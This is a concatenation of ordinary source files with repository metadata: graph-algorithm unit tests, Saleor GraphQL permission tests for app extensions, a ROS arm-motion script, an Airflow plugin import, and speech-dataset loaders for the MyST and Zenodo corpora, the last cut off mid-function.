ba9d80947b8fa67918eee3f8c691fe5c7f6b2683 | 9,382 | py | Python | test_algorithms.py | vitormeriat/basic_graph_algorithms | 919ad94d6c16d7b701bc52343f78f62ec539921c | [
"MIT"
] | null | null | null | test_algorithms.py | vitormeriat/basic_graph_algorithms | 919ad94d6c16d7b701bc52343f78f62ec539921c | [
"MIT"
] | null | null | null | test_algorithms.py | vitormeriat/basic_graph_algorithms | 919ad94d6c16d7b701bc52343f78f62ec539921c | [
"MIT"
] | null | null | null |
import unittest
from graph_algorithms import depth_first, breadth_first, undirected_path, connected_components, \
largest_component, shortest_path, island_count, minimum_island, graph
class TestDepthFist(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00_iterative(self):
graph = self.data.graph_00()
path = depth_first.traversal_iterative(graph)
self.assertEqual(path, ['a', 'b', 'd', 'e', 'c', 'f'])
def test_00_recursive(self):
graph = self.data.graph_00()
path = depth_first.traversal_recursive(graph)
self.assertEqual(path, ['a', 'b', 'd', 'e', 'c', 'f'])
def test_01_iterative(self):
graph = self.data.graph_01()
path = depth_first.traversal_iterative(graph)
self.assertEqual(path, ['a', 'b', 'd', 'e', 'g', 'c', 'f'])
def test_01_recursive(self):
graph = self.data.graph_01()
path = depth_first.traversal_recursive(graph)
self.assertEqual(path, ['a', 'b', 'd', 'e', 'g', 'c', 'f'])
def test_02_iterative(self):
graph = self.data.graph_02()
path = depth_first.traversal_iterative(graph)
self.assertEqual(path, ['a'])
def test_02_recursive(self):
graph = self.data.graph_02()
path = depth_first.traversal_recursive(graph)
self.assertEqual(path, ['a'])
def test_03_iterative(self):
graph = self.data.graph_03()
path = depth_first.traversal_iterative(graph)
self.assertEqual(path, ['a', 'b', 'c', 'd', 'e'])
def test_03_recursive(self):
graph = self.data.graph_03()
path = depth_first.traversal_recursive(graph)
self.assertEqual(path, ['a', 'b', 'c', 'd', 'e'])
def test_04_iterative(self):
graph = None
path = depth_first.traversal_iterative(graph)
self.assertEqual(path, [])
def test_04_recursive(self):
graph = None
path = depth_first.traversal_recursive(graph)
self.assertEqual(path, [])
class TestBreadthFist(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_00()
path = breadth_first.traversal(graph)
self.assertEqual(path, ['a', 'b', 'c', 'd', 'e', 'f'])
def test_01(self):
graph = self.data.graph_04()
path = breadth_first.traversal(graph)
self.assertEqual(path, ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'])
def test_02(self):
graph = self.data.graph_02()
path = breadth_first.traversal(graph)
self.assertEqual(path, ['a'])
def test_03(self):
graph = self.data.graph_05()
path = breadth_first.traversal(graph)
self.assertEqual(path, ['a', 'b', 'c', 'x', 'd', 'e'])
def test_04(self):
graph = None
path = breadth_first.traversal(graph)
self.assertEqual(path, [])
class TestHasPath(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_06()
has_path = depth_first.has_path(graph, 'f', 'k')
self.assertEqual(has_path, True)
def test_01(self):
graph = self.data.graph_06()
has_path = depth_first.has_path(graph, 'f', 'j')
self.assertEqual(has_path, False)
def test_02(self):
graph = self.data.graph_06()
has_path = depth_first.has_path(graph, 'i', 'h')
self.assertEqual(has_path, True)
class UndirectedPath(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_07()
has_path = undirected_path.has_path(graph, 'j', 'm')
self.assertEqual(has_path, True)
def test_01(self):
graph = self.data.graph_07()
has_path = undirected_path.has_path(graph, 'm', 'j')
self.assertEqual(has_path, True)
def test_02(self):
graph = self.data.graph_07()
has_path = undirected_path.has_path(graph, 'l', 'j')
self.assertEqual(has_path, True)
def test_03(self):
graph = self.data.graph_07()
has_path = undirected_path.has_path(graph, 'k', 'o')
self.assertEqual(has_path, False)
def test_04(self):
graph = self.data.graph_07()
has_path = undirected_path.has_path(graph, 'i', 'o')
self.assertEqual(has_path, False)
def test_05(self):
graph = self.data.graph_08()
has_path = undirected_path.has_path(graph, 'a', 'b')
self.assertEqual(has_path, True)
def test_06(self):
graph = self.data.graph_08()
has_path = undirected_path.has_path(graph, 'a', 'c')
self.assertEqual(has_path, True)
def test_07(self):
graph = self.data.graph_08()
has_path = undirected_path.has_path(graph, 'r', 't')
self.assertEqual(has_path, True)
def test_08(self):
graph = self.data.graph_08()
has_path = undirected_path.has_path(graph, 'r', 'b')
self.assertEqual(has_path, False)
class ConnectedComponentsCount(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_09()
count = connected_components.count(graph)
self.assertEqual(count, 2)
def test_01(self):
graph = self.data.graph_10()
count = connected_components.count(graph)
self.assertEqual(count, 1)
def test_02(self):
graph = self.data.graph_11()
count = connected_components.count(graph)
self.assertEqual(count, 3)
def test_03(self):
graph = self.data.graph_12()
count = connected_components.count(graph)
self.assertEqual(count, 0)
def test_04(self):
graph = self.data.graph_13()
count = connected_components.count(graph)
self.assertEqual(count, 5)
class LargestComponent(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_09()
count = largest_component.get_size(graph)
self.assertEqual(count, 4)
def test_01(self):
graph = self.data.graph_10()
count = largest_component.get_size(graph)
self.assertEqual(count, 6)
def test_02(self):
graph = self.data.graph_11()
count = largest_component.get_size(graph)
self.assertEqual(count, 5)
def test_03(self):
graph = self.data.graph_12()
count = largest_component.get_size(graph)
self.assertEqual(count, 0)
def test_04(self):
graph = self.data.graph_13()
count = largest_component.get_size(graph)
self.assertEqual(count, 3)
class ShortestPath(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_14()
count = shortest_path.get(graph, 'w', 'z')
self.assertEqual(count, 2)
def test_01(self):
graph = self.data.graph_14()
count = shortest_path.get(graph, 'y', 'x')
self.assertEqual(count, 1)
def test_02(self):
graph = self.data.graph_15()
count = shortest_path.get(graph, 'a', 'e')
self.assertEqual(count, 3)
def test_03(self):
graph = self.data.graph_15()
count = shortest_path.get(graph, 'e', 'c')
self.assertEqual(count, 2)
def test_04(self):
graph = self.data.graph_15()
count = shortest_path.get(graph, 'b', 'g')
self.assertEqual(count, -1)
def test_05(self):
graph = self.data.graph_16()
count = shortest_path.get(graph, 'w', 'e')
self.assertEqual(count, 1)
def test_06(self):
graph = self.data.graph_16()
count = shortest_path.get(graph, 'n', 'e')
self.assertEqual(count, 2)
def test_07(self):
graph = self.data.graph_17()
count = shortest_path.get(graph, 'm', 's')
self.assertEqual(count, 6)
class IslandCount(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_18()
count = island_count.get(graph)
self.assertEqual(count, 3)
def test_01(self):
graph = self.data.graph_19()
count = island_count.get(graph)
self.assertEqual(count, 4)
def test_02(self):
graph = self.data.graph_20()
count = island_count.get(graph)
self.assertEqual(count, 1)
def test_03(self):
graph = self.data.graph_21()
count = island_count.get(graph)
self.assertEqual(count, 0)
class MinimumIsland(unittest.TestCase):
def setUp(self):
self.data = graph.GraphData()
def test_00(self):
graph = self.data.graph_18()
count = minimum_island.get(graph)
self.assertEqual(count, 2)
def test_01(self):
graph = self.data.graph_19()
count = minimum_island.get(graph)
self.assertEqual(count, 1)
def test_02(self):
graph = self.data.graph_20()
count = minimum_island.get(graph)
self.assertEqual(count, 9)
def test_03(self):
graph = self.data.graph_22()
count = minimum_island.get(graph)
self.assertEqual(count, 1)
if __name__ == "__main__":
unittest.main()
| 28.603659 | 97 | 0.609891 | 1,217 | 9,382 | 4.509449 | 0.082991 | 0.136115 | 0.139759 | 0.154883 | 0.920007 | 0.897959 | 0.869169 | 0.841472 | 0.693331 | 0.613156 | 0 | 0.033148 | 0.253997 | 9,382 | 327 | 98 | 28.691132 | 0.750964 | 0 | 0 | 0.77459 | 0 | 0 | 0.011406 | 0 | 0 | 0 | 0 | 0 | 0.217213 | 1 | 0.254098 | false | 0 | 0.008197 | 0 | 0.29918 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
24382e71f91ec02a1bc334c8e82fc36c559ad398 | 11,236 | py | Python | saleor/graphql/app/tests/queries/test_app_extension.py | fairhopeweb/saleor | 9ac6c22652d46ba65a5b894da5f1ba5bec48c019 | [
"CC-BY-4.0"
] | 15,337 | 2015-01-12T02:11:52.000Z | 2021-10-05T19:19:29.000Z | saleor/graphql/app/tests/queries/test_app_extension.py | fairhopeweb/saleor | 9ac6c22652d46ba65a5b894da5f1ba5bec48c019 | [
"CC-BY-4.0"
] | 7,486 | 2015-02-11T10:52:13.000Z | 2021-10-06T09:37:15.000Z | saleor/graphql/app/tests/queries/test_app_extension.py | fairhopeweb/saleor | 9ac6c22652d46ba65a5b894da5f1ba5bec48c019 | [
"CC-BY-4.0"
] | 5,864 | 2015-01-16T14:52:54.000Z | 2021-10-05T23:01:15.000Z | import graphene
from .....app.models import AppExtension
from .....app.types import AppExtensionTarget, AppExtensionType, AppExtensionView
from .....core.jwt import jwt_decode
from ....tests.utils import assert_no_permission, get_graphql_content
QUERY_APP_EXTENSION = """
query ($id: ID!){
appExtension(id: $id){
label
url
view
target
type
id
accessToken
permissions{
code
}
}
}
"""
def test_app_extension_staff_user(app, staff_api_client, permission_manage_products):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = staff_api_client.post_graphql(
QUERY_APP_EXTENSION,
variables,
)
# then
content = get_graphql_content(response)
extension_data = content["data"]["appExtension"]
assert app_extension.label == extension_data["label"]
assert app_extension.url == extension_data["url"]
assert app_extension.view == extension_data["view"].lower()
assert app_extension.target == extension_data["target"].lower()
assert app_extension.type == extension_data["type"].lower()
assert app_extension.permissions.count() == 1
assert len(extension_data["permissions"]) == 1
permission_code = extension_data["permissions"][0]["code"].lower()
assert app_extension.permissions.first().codename == permission_code
def test_app_extension_by_app(app, app_api_client, permission_manage_products):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = app_api_client.post_graphql(
QUERY_APP_EXTENSION,
variables,
)
# then
content = get_graphql_content(response)
extension_data = content["data"]["appExtension"]
assert app_extension.label == extension_data["label"]
assert app_extension.url == extension_data["url"]
assert app_extension.view == extension_data["view"].lower()
assert app_extension.target == extension_data["target"].lower()
assert app_extension.type == extension_data["type"].lower()
assert app_extension.permissions.count() == 1
assert len(extension_data["permissions"]) == 1
permission_code = extension_data["permissions"][0]["code"].lower()
assert app_extension.permissions.first().codename == permission_code
def test_app_extension_normal_user(app, user_api_client, permission_manage_products):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = user_api_client.post_graphql(
QUERY_APP_EXTENSION,
variables,
)
# then
assert_no_permission(response)
def test_app_extension_staff_user_without_all_permissions(
app, staff_api_client, permission_manage_products, permission_manage_orders
):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = staff_api_client.post_graphql(
QUERY_APP_EXTENSION,
variables,
permissions=[permission_manage_orders],
check_no_permissions=False,
)
# then
content = get_graphql_content(response)
extension_data = content["data"]["appExtension"]
assert extension_data["accessToken"] is None
def test_app_extension_staff_user_fetching_access_token(
app,
staff_api_client,
permission_manage_orders,
permission_manage_products,
permission_manage_apps,
):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products, permission_manage_orders)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = staff_api_client.post_graphql(
QUERY_APP_EXTENSION,
variables,
permissions=[
permission_manage_orders,
permission_manage_products,
permission_manage_apps,
],
check_no_permissions=False,
)
# then
content = get_graphql_content(response)
extension_data = content["data"]["appExtension"]
assert extension_data["accessToken"]
decoded_token = jwt_decode(extension_data["accessToken"])
assert set(decoded_token["permissions"]) == set(
["MANAGE_PRODUCTS", "MANAGE_ORDERS"]
)
def test_app_extension_staff_user_partial_permission(
app,
staff_api_client,
permission_manage_orders,
permission_manage_products,
permission_manage_apps,
):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products, permission_manage_orders)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = staff_api_client.post_graphql(
QUERY_APP_EXTENSION,
variables,
permissions=[permission_manage_orders, permission_manage_apps],
check_no_permissions=False,
)
# then
content = get_graphql_content(response)
extension_data = content["data"]["appExtension"]
assert extension_data["accessToken"] is None
QUERY_APP_EXTENSION_WITH_APP = """
query ($id: ID!){
appExtension(id: $id){
label
url
view
target
type
id
permissions{
code
}
app{
id
}
}
}
"""
def test_app_extension_with_app_query_by_staff_without_permissions(
app, staff_api_client, permission_manage_products
):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = staff_api_client.post_graphql(
QUERY_APP_EXTENSION_WITH_APP,
variables,
)
# then
assert_no_permission(response)
def test_app_extension_with_app_query_by_app_without_permissions(
external_app, app_api_client, permission_manage_products
):
# given
app_extension = AppExtension.objects.create(
app=external_app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = app_api_client.post_graphql(
QUERY_APP_EXTENSION_WITH_APP,
variables,
)
# then
assert_no_permission(response)
def test_app_extension_with_app_query_by_app_with_permissions(
external_app,
app,
permission_manage_apps,
app_api_client,
permission_manage_products,
):
# given
app_extension = AppExtension.objects.create(
app=external_app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
app.permissions.add(permission_manage_apps)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = app_api_client.post_graphql(
QUERY_APP_EXTENSION_WITH_APP,
variables,
)
# then
get_graphql_content(response)
def test_app_extension_with_app_query_by_owner_app(
app, app_api_client, permission_manage_products
):
# given
app_extension = AppExtension.objects.create(
app=app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
app_extension.permissions.add(permission_manage_products)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = app_api_client.post_graphql(
QUERY_APP_EXTENSION_WITH_APP,
variables,
)
# then
get_graphql_content(response)
def test_app_extension_with_app_query_by_staff_with_permissions(
external_app, app, permission_manage_apps, staff_api_client
):
# given
app_extension = AppExtension.objects.create(
app=external_app,
label="Create product with App",
url="https://www.example.com/app-product",
view=AppExtensionView.PRODUCT,
type=AppExtensionType.OVERVIEW,
target=AppExtensionTarget.MORE_ACTIONS,
)
id = graphene.Node.to_global_id("AppExtension", app_extension.id)
variables = {"id": id}
# when
response = staff_api_client.post_graphql(
QUERY_APP_EXTENSION_WITH_APP, variables, permissions=[permission_manage_apps]
)
# then
get_graphql_content(response)
| 29.568421 | 87 | 0.692061 | 1,243 | 11,236 | 5.939662 | 0.069992 | 0.113775 | 0.068265 | 0.028308 | 0.925775 | 0.918055 | 0.902479 | 0.902479 | 0.880672 | 0.868753 | 0 | 0.000678 | 0.211819 | 11,236 | 379 | 88 | 29.646438 | 0.832995 | 0.015575 | 0 | 0.767918 | 0 | 0 | 0.133218 | 0 | 0 | 0 | 0 | 0 | 0.081911 | 1 | 0.037543 | false | 0 | 0.017065 | 0 | 0.054608 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
244bd94c951b09cb7ecfc42b6e893272c1256678 | 3,410 | py | Python | schunk_robots/schunk_lwa4d/scripts/move_circ.py | briefgw/brief_schunklwa4p_simulation | 7b148225bfca2f2d3289a9b924d6afde7507b9e8 | [
"BSD-3-Clause"
] | 2 | 2019-03-27T11:01:08.000Z | 2019-08-07T09:38:53.000Z | schunk_robots/schunk_lwa4d/scripts/move_circ.py | briefgw/brief_schunklwa4p_simulation | 7b148225bfca2f2d3289a9b924d6afde7507b9e8 | [
"BSD-3-Clause"
] | 1 | 2019-04-01T11:20:08.000Z | 2019-06-07T07:57:26.000Z | schunk_robots/schunk_lwa4d/scripts/move_circ.py | briefgw/brief_schunklwa4p_simulation | 7b148225bfca2f2d3289a9b924d6afde7507b9e8 | [
"BSD-3-Clause"
] | null | null | null | #! /usr/bin/env python
import math
import rospy
from geometry_msgs.msg import Pose
from cob_cartesian_controller.msg import Profile
from simple_script_server.simple_script_server import simple_script_server
import simple_cartesian_interface as sci
def init_pos():
sss = simple_script_server()
sss.move("arm", [[-0.0002934322105607734, -0.38304632633953606, 6.931483707006691e-07, 0.8526320037121202, 5.69952198326007e-07, -0.47039657856235184, -0.00029228225570943067]])
if __name__ == '__main__':
rospy.init_node('test_move_circ_interface')
init_pos()
pose = sci.gen_pose(pos=[-0.2, 0.0, 0.8], rpy=[0, 0.0, 0.0])
profile = Profile()
profile.vel = 0.2
profile.accl = 0.1
profile.profile_type = Profile.SINOID
#profile.profile_type = Profile.RAMP
success, message = sci.move_lin(pose, "world", profile)
if success:
rospy.loginfo(message)
else:
rospy.logerr(message)
pose = sci.gen_pose(pos=[0.0, 0.0, 0.8], rpy=[0.0, 0.0, 0.0])
start_angle = 180.0 * math.pi / 180.0
end_angle = 0.0 * math.pi / 180.0
profile = Profile()
profile.vel = 0.4
profile.accl = 0.3
profile.profile_type = Profile.SINOID
#profile.profile_type = Profile.RAMP
success, message = sci.move_circ(pose, "world", start_angle, end_angle, 0.2, profile)
if success:
rospy.loginfo(message)
else:
rospy.logerr(message)
pose = sci.gen_pose(pos=[0.2, 0.0, 0.8], rpy=[0.0, math.pi/2, 0.0])
profile = Profile()
profile.vel = 0.3
profile.accl = 0.3
profile.profile_type = Profile.SINOID
#profile.profile_type = Profile.RAMP
success, message = sci.move_lin(pose, "world", profile)
if success:
rospy.loginfo(message)
else:
rospy.logerr(message)
pose = sci.gen_pose(pos=[0.0, -0.2, 0.8], rpy=[0.0, 0.0, math.pi/2])
profile = Profile()
profile.vel = 0.3
profile.accl = 0.3
profile.profile_type = Profile.SINOID
#profile.profile_type = Profile.RAMP
success, message = sci.move_lin(pose, "world", profile)
if success:
rospy.loginfo(message)
else:
rospy.logerr(message)
pose = sci.gen_pose(pos=[0.0, 0.0, 0.8], rpy=[0.0, 0.0, math.pi/2])
start_angle = 180.0 * math.pi / 180.0
end_angle = 0.0 * math.pi / 180.0
profile = Profile()
profile.vel = 0.4
profile.accl = 0.3
profile.profile_type = Profile.SINOID
#profile.profile_type = Profile.RAMP
success, message = sci.move_circ(pose, "world", start_angle, end_angle, 0.2, profile)
if success:
rospy.loginfo(message)
else:
rospy.logerr(message)
pose = sci.gen_pose(pos=[0.0, 0.2, 0.8], rpy=[0.0, math.pi/2, 0.0])
profile = Profile()
profile.vel = 0.3
profile.accl = 0.3
profile.profile_type = Profile.SINOID
#profile.profile_type = Profile.RAMP
success, message = sci.move_lin(pose, "world", profile)
if success:
rospy.loginfo(message)
else:
rospy.logerr(message)
pose = sci.gen_pose(pos=[-0.2, 0.0, 0.8], rpy=[0.0, 0.0, 0.0])
profile = Profile()
profile.vel = 0.3
profile.accl = 0.3
profile.profile_type = Profile.SINOID
#profile.profile_type = Profile.RAMP
success, message = sci.move_lin(pose, "world", profile)
if success:
rospy.loginfo(message)
else:
rospy.logerr(message)
init_pos()
| 27.95082 | 181 | 0.643988 | 510 | 3,410 | 4.180392 | 0.135294 | 0.041276 | 0.036585 | 0.026266 | 0.814259 | 0.788931 | 0.788931 | 0.788931 | 0.788931 | 0.788931 | 0 | 0.100412 | 0.217302 | 3,410 | 121 | 182 | 28.181818 | 0.698389 | 0.078006 | 0 | 0.770115 | 0 | 0 | 0.022321 | 0.007653 | 0 | 0 | 0 | 0 | 0 | 1 | 0.011494 | false | 0 | 0.068966 | 0 | 0.08046 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0339d8bd22067ce04f6203028ba599f6fef33360 | 76 | py | Python | blueprints/__init__.py | irvifa/airflow_api_plugin | 55afd70eb9ff45c815bb3329448dabbe778b8579 | [
"Apache-2.0"
] | 54 | 2018-03-22T20:34:27.000Z | 2021-11-16T13:54:20.000Z | blueprints/__init__.py | irvifa/airflow_api_plugin | 55afd70eb9ff45c815bb3329448dabbe778b8579 | [
"Apache-2.0"
] | 7 | 2018-02-27T21:47:28.000Z | 2020-09-01T16:56:10.000Z | blueprints/__init__.py | irvifa/airflow_api_plugin | 55afd70eb9ff45c815bb3329448dabbe778b8579 | [
"Apache-2.0"
] | 20 | 2018-06-19T07:11:57.000Z | 2022-03-14T23:47:05.000Z | from airflow_api_plugin.blueprints.airflow_api import airflow_api_blueprint
| 38 | 75 | 0.921053 | 11 | 76 | 5.909091 | 0.636364 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 76 | 1 | 76 | 76 | 0.902778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 7 |
035e34e857f0ed372520aad83f369057a823e374 | 7,449 | py | Python | wav2vec2_data.py | mariafabiano/childrens_asr_transfer_learning | 901e0a9e9cf4412655452b490c47f32d60484a84 | [
"Unlicense"
] | null | null | null | wav2vec2_data.py | mariafabiano/childrens_asr_transfer_learning | 901e0a9e9cf4412655452b490c47f32d60484a84 | [
"Unlicense"
] | null | null | null | wav2vec2_data.py | mariafabiano/childrens_asr_transfer_learning | 901e0a9e9cf4412655452b490c47f32d60484a84 | [
"Unlicense"
] | null | null | null | from collections import defaultdict
import glob
import os
import re
import numpy as np
import librosa
from torch.utils.data import Dataset
class MySTDataset(Dataset):
"""MyST dataset."""
def __init__(self, data_path, sample_rate=16000,
chars_to_ignore_regex='[\,\?\.\!\-\;\:\"]'):
"""
Args:
data_path (str): path to MyST dataset.
"""
self.data_path = data_path
self.audio_files = glob.glob(os.path.join(self.data_path,
'*/*/*.flac'))
self.sample_rate = sample_rate
self.chars_to_ignore = chars_to_ignore_regex
self.remove_short_audio()
print(f'# of audio files after removing short audio: {len(self.audio_files)}')
self.processor = None
def init_processor(self, processor):
self.processor = processor
def read_text_file(self, text_file):
with open(text_file, 'r') as f:
text = f.read().lower().strip()
text = re.sub(self.chars_to_ignore, '', text)
text = re.sub('<[a-zA-Z|_]*>', '', text)
text = text.replace('(())', '') # Ignore noise.
return text
def extract_all_chars(self):
vocab = set()
for audio_file in self.audio_files:
text_file = audio_file[:-4] + 'trn'
text = self.read_text_file(text_file)
vocab.update(text)
return {"vocab": [vocab]}
def remove_short_audio(self):
min_input_length_in_sec = 1.0
min_char_count = 2
files_to_keep = []
for i in range(len(self.audio_files)):
audio_input, sample_rate = librosa.load(self.audio_files[i], sr=self.sample_rate)
text_file = self.audio_files[i][:-4] + 'trn'
text = self.read_text_file(text_file)
if len(audio_input) >= sample_rate*min_input_length_in_sec and len(text) > min_char_count:
files_to_keep.append(self.audio_files[i])
self.audio_files = files_to_keep
def prepare_dataset(self, audio_array, text):
batch = {}
# batched output is "un-batched" to ensure mapping is correct
batch["input_values"] = self.processor(np.array(audio_array),
sampling_rate=self.sample_rate).input_values[0]
batch["input_length"] = len(batch["input_values"])
with self.processor.as_target_processor():
batch["labels"] = self.processor(text).input_ids
return batch
def __len__(self):
return len(self.audio_files)
def __getitem__(self, idx):
if isinstance(idx, int):
audio_file = self.audio_files[idx]
audio_input, sample_rate = librosa.load(audio_file, sr=self.sample_rate)
text_file = audio_file[:-4] + 'trn'
text = self.read_text_file(text_file)
if self.processor is not None:
prepared_audio_dict = self.prepare_dataset(audio_input, text)
return prepared_audio_dict
return {'audio': {'array': audio_input,
'path': audio_file,
'sampling_rate': self.sample_rate},
'file': audio_file,
'text': text}
else:
audio_files = None
if isinstance(idx, slice):
audio_files = self.audio_files[idx]
elif isinstance(idx, list):
audio_files = [self.audio_files[i] for i in idx]
audio_input = [librosa.load(audio_file, sr=self.sample_rate)[0] for audio_file in audio_files]
text_files = [x[:-4] + 'trn' for x in audio_files]
texts = []
for text_file in text_files:
text = self.read_text_file(text_file)
texts.append(text)
return {'audio': [{'array': audio,
'path': path,
'sampling_rate': self.sample_rate} for audio, path in zip(audio_input, audio_files)],
'file': audio_files,
'text': texts}
class ZenodoDataset(Dataset):
"""Zenodo dataset."""
def __init__(self,
data_path,
sample_rate=16000,
chars_to_ignore_regex='[\,\?\.\!\-\;\:\"]',
words_sentences='english_words_sentences/*/studio_mic/*/*.wav',
free_speech='english_free_speech/*/studio_mic/*/*.wav'):
"""
Args:
data_path (str): path to Zenodo dataset.
"""
self.data_path = data_path
self.audio_files = glob.glob(os.path.join(self.data_path, words_sentences)) + glob.glob(os.path.join(self.data_path, free_speech))
self.sample_rate = sample_rate
self.chars_to_ignore = chars_to_ignore_regex
self.remove_short_audio()
print(f'# of audio files after removing short audio: {len(self.audio_files)}')
self.processor = None
def init_processor(self, processor):
self.processor = processor
def read_text(self, audio_file):
# Get the file name and ignore the .wav extension.
text = audio_file.split('/')[-1][:-4]
# Split by underscore, join together by space, convert to lowercase.
text = ' '.join(text.split('_')).lower().strip()
text = text.lower().strip()
text = re.sub(self.chars_to_ignore, '', text)
text = re.sub('<[a-zA-Z|_]*>', '', text)
text = text.replace('(())', '') # Ignore noise.
return text
def remove_short_audio(self):
min_input_length_in_sec = 1.0
min_char_count = 2
files_to_keep = []
for i in range(len(self.audio_files)):
audio_input, sample_rate = librosa.load(self.audio_files[i], sr=self.sample_rate)
text = self.read_text(self.audio_files[i])
if len(audio_input) >= sample_rate*min_input_length_in_sec and len(text) > min_char_count:
files_to_keep.append(self.audio_files[i])
self.audio_files = files_to_keep
def prepare_dataset(self, audio_array, text):
batch = {}
# batched output is "un-batched" to ensure mapping is correct
batch["input_values"] = self.processor(np.array(audio_array),
sampling_rate=self.sample_rate).input_values[0]
batch["input_length"] = len(batch["input_values"])
with self.processor.as_target_processor():
batch["labels"] = self.processor(text).input_ids
return batch
def __len__(self):
return len(self.audio_files)
def __getitem__(self, idx):
if isinstance(idx, int):
audio_file = self.audio_files[idx]
audio_input, sample_rate = librosa.load(audio_file, sr=16000)
text = self.read_text(audio_file)
if self.processor is not None:
prepared_audio_dict = self.prepare_dataset(audio_input, text)
return prepared_audio_dict
return {'audio': {'array': audio_input,
'path': audio_file,
'sampling_rate': self.sample_rate},
'file': audio_file,
'text': text}
else:
audio_files = None
if isinstance(idx, slice):
audio_files = self.audio_files[idx]
elif isinstance(idx, list):
audio_files = [self.audio_files[i] for i in idx]
audio_input = [librosa.load(audio_file, sr=self.sample_rate)[0] for audio_file in audio_files]
texts = []
for file in audio_files:
text = self.read_text(file)
texts.append(text)
